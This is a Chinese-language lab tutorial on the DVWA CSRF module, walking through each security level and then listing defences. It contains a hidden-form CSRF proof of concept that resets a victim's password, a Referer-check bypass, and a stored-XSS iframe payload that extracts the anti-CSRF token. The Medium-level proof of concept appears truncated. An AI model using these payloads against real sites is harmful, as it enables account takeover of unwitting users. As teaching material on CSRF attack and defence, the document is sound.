DVWA-CSRF
字数 1267 2025-08-10 17:51:46
DVWA CSRF漏洞攻防教学文档
1. CSRF漏洞概述
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已登录状态,诱使用户在不知情的情况下执行非预期操作的攻击方式。
2. DVWA CSRF漏洞实验环境
实验环境:DVWA(Damn Vulnerable Web Application)
目标URL:http://43.247.91.228:81/vulnerabilities/csrf/
3. CSRF漏洞等级分析
3.1 Low级别CSRF
漏洞分析:
- 服务器仅检查password_new与password_conf是否相同
- 无任何CSRF防护机制
- 仅依赖cookie进行身份验证
攻击步骤:
-
修改密码并抓包,记录请求URL:
http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# -
构造CSRF PoC(可使用Burp Suite生成):
<html> <body> <form action="http://43.247.91.228:81/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="123456" /> <input type="hidden" name="password_conf" value="123456" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> </body> </html> -
诱使受害者(同一浏览器)访问该HTML页面或构造的URL
关键点:
- 攻击依赖受害者使用同一浏览器
- 可利用短网址平台(如https://dwz.cn/)隐藏真实URL
3.2 Medium级别CSRF
防护机制:
- 检查HTTP_REFERER中是否包含SERVER_NAME(主机名43.247.91.228)
绕过方法:
- 将攻击页面命名为包含主机名的文件:43.247.91.228.html
- 构造隐藏表单的PoC:
<h1>404</h1> <h2>file not found.</h2>
攻击步骤:
- 将上述HTML文件放置在攻击者服务器
- 诱使受害者访问该页面
3.3 High级别CSRF
防护机制:
- 使用Anti-CSRF token
- 每次访问页面时生成随机token
- 请求必须包含有效token
攻击方法:
- 结合XSS(Stored)漏洞获取token
- 注入以下payload(需修改name参数):
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)> - 每次页面加载时会弹出token值
- 使用获取的token构造合法请求
3.4 Impossible级别CSRF
防护机制:
- 使用PDO技术防御SQL注入
- 要求用户输入原始密码
- 双重验证机制使攻击者在不知道原始密码时无法进行CSRF攻击
4. CSRF防护最佳实践
-
使用Anti-CSRF Token:
- 为每个表单生成唯一token
- 服务器验证token有效性
-
检查Referer头:
- 验证请求来源是否合法
- 注意可能被绕过的情况
-
关键操作二次验证:
- 要求输入原始密码
- 使用短信/邮件验证码
-
设置Cookie属性:
- SameSite属性设置为Strict或Lax
- 使用HttpOnly和Secure标志
-
敏感操作限制:
- POST方法限制
- 验证码机制
5. 实验注意事项
- 所有测试应在授权环境下进行
- 使用同一浏览器测试时注意会话管理
- 高级别漏洞常需要组合利用(如CSRF+XSS)
- 实际环境中防护措施应多层叠加
6. 总结
DVWA的CSRF模块展示了从无防护到完善防护的四个级别,体现了CSRF攻击的原理和防御方法。实际开发中应至少采用High级别的防护措施,对于敏感操作推荐使用Impossible级别的双重验证机制。